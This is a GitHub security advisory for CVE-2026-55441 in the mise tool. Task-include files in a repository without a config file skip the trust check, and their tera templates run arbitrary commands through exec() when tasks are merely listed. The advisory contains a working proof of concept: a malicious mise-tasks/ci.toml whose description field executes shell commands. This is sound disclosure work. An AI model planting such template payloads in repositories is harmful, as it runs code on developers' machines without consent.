Skip to content

Mise vulnerable to arbitrary command execution via task-include files in an untrusted, config-less repository

High severity GitHub Reviewed Published Jun 12, 2026 in jdx/mise • Updated Jun 23, 2026

Package

mise (Rust)

Affected versions

< 2026.6.4

Patched versions

2026.6.4

Description

Summary

mise's trust feature gates config files (mise.toml, .tool-versions) through trust_check, but task-include files are loaded on a path that never reaches it. When a directory has a task-include dir (mise-tasks/, .mise/tasks/, …) but no config file, mise falls back to the default includes and renders each task's tera fields — and that tera environment has exec() registered. A {{ exec(command='…') }} in any rendered field runs arbitrary commands the moment the tasks are merely listed. There's no config file to gate on, so no trust prompt ever appears. Read-only commands trigger it: mise tasks, mise task ls, mise run, mise tasks --usage (the query shell completion runs on Tab). The victim only has to cd into a cloned repo and list or tab-complete a task

Details

Trust is enforced only inside config-file parsing:

  • src/config/config_file/mise_toml.rs:276MiseToml::from_strtrust_check(path)?
  • src/config/config_file/tool_versions.rs:62.tool-versions parser → trust_check(&path)?
  • src/config/env_directive/mod.rs:681 — env templates → trust_check(path)? (only when the value contains template syntax)

Task-include files are loaded by load_tasks_in_dir / load_local_tasks_with_context,
which walk every directory from CWD up to root. For each directory, configs_at_root
returns the parsed (trusted) configs rooted there; if there is no config in the
directory
, mise falls back to the default task-include list resolved relative to that
directory and loads whatever it finds — with no trust check:

src/config/mod.rs (load_tasks_in_dir, ~2586):

let (includes, resolve_dir) = configs
    .iter()
    .find_map(|cf| match cf.task_config_includes() {})
    .transpose()?
    .unwrap_or_else(|| (default_task_includes(), dir.to_path_buf())); // no config -> default includesfor include in &includes {
    let paths = … expand_task_include(&resolve_dir, include);
    for p in paths {
        let mut loaded = load_tasks_includes(config, &p, dir, &task_config_dir, templates).await?;}
}

default_task_includes() (src/config/mod.rs:1825):

vec!["mise-tasks", ".mise-tasks", ".mise/tasks", ".config/mise/tasks", "mise/tasks"]

load_task_file (src/config/mod.rs:2645) reads the TOML directly with no trust check
and renders each task:

let raw = file::read_to_string_async(path).await?;
let mut tasks = toml::from_str::<Tasks>(&raw);        // no trust_checkresolve_task_template(&mut task, templates)?;
if let Err(err) = task.render(config, &config_root).await {}  // renders tera, incl. exec()

Task::render (src/task/mod.rs:1475) renders many fields through tera, and the tera
instance is built with get_tera(Some(config_root)):

let mut tera = get_tera(Some(config_root));if contains_template_syntax(&self.description) {
    self.description = render_str(&mut tera, &self.description, &tera_ctx)?;
}

get_tera (src/tera.rs:407) registers the command-executing functions:

pub fn get_tera(dir: Option<&Path>) -> Tera {
    let mut tera = TERA.clone();
    let dir = dir.map(PathBuf::from);
    tera.register_function("exec", tera_exec(dir.clone(), env::PRISTINE_ENV.clone()));
    tera.register_function("read_file", tera_read_file(dir));
    tera
}

So a tera {{ exec(command='…') }} placed in any rendered task field
(description, dir, shell, sources, aliases, depends, tools, …) of a TOML
task file — or in a #MISE description="…" header of an executable script task
(Task::from_path) — executes when the task is merely loaded for listing, with no
trust prompt. exec() is not gated by experimental (default experimental = false).

Proof of concept

Tested against the prebuilt release binary, mise 2026.6.4 linux-x64, with a
pristine HOME so nothing is pre-trusted.

Repo layout :

malicious-repo/
└── mise-tasks/
    └── ci.toml

mise-tasks/ci.toml:

[test]
description = "{{ exec(command='id > /tmp/mise_clone_proof.txt; hostname >> /tmp/mise_clone_proof.txt') }}"
run = "cargo test"

Trigger (any of these; a victim who has mise activate set up hits the last one by just
pressing Tab to complete a task name):

export HOME="$(mktemp -d)"          # nothing pre-trusted
export MISE_TRUSTED_CONFIG_PATHS=""
cd malicious-repo
mise tasks            # or: mise task ls / mise run / mise tasks --usage

output:

test

and the side effect :

miau@linux:~$ cat /tmp/mise_clone_proof.txt
uid=1000(miau) gid=1000(miau) groups=1000(miau)…
linux 

References

@jdx jdx published to jdx/mise Jun 12, 2026
Published to the GitHub Advisory Database Jun 23, 2026
Reviewed Jun 23, 2026
Last updated Jun 23, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(8th percentile)

Weaknesses

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. Learn more on MITRE.

Improper Control of Generation of Code ('Code Injection')

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. Learn more on MITRE.

Incorrect Permission Assignment for Critical Resource

The product specifies permissions for a security-critical resource in a way that allows that resource to be read or modified by unintended actors. Learn more on MITRE.

CVE ID

CVE-2026-55441

GHSA ID

GHSA-77g9-363w-rccq

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.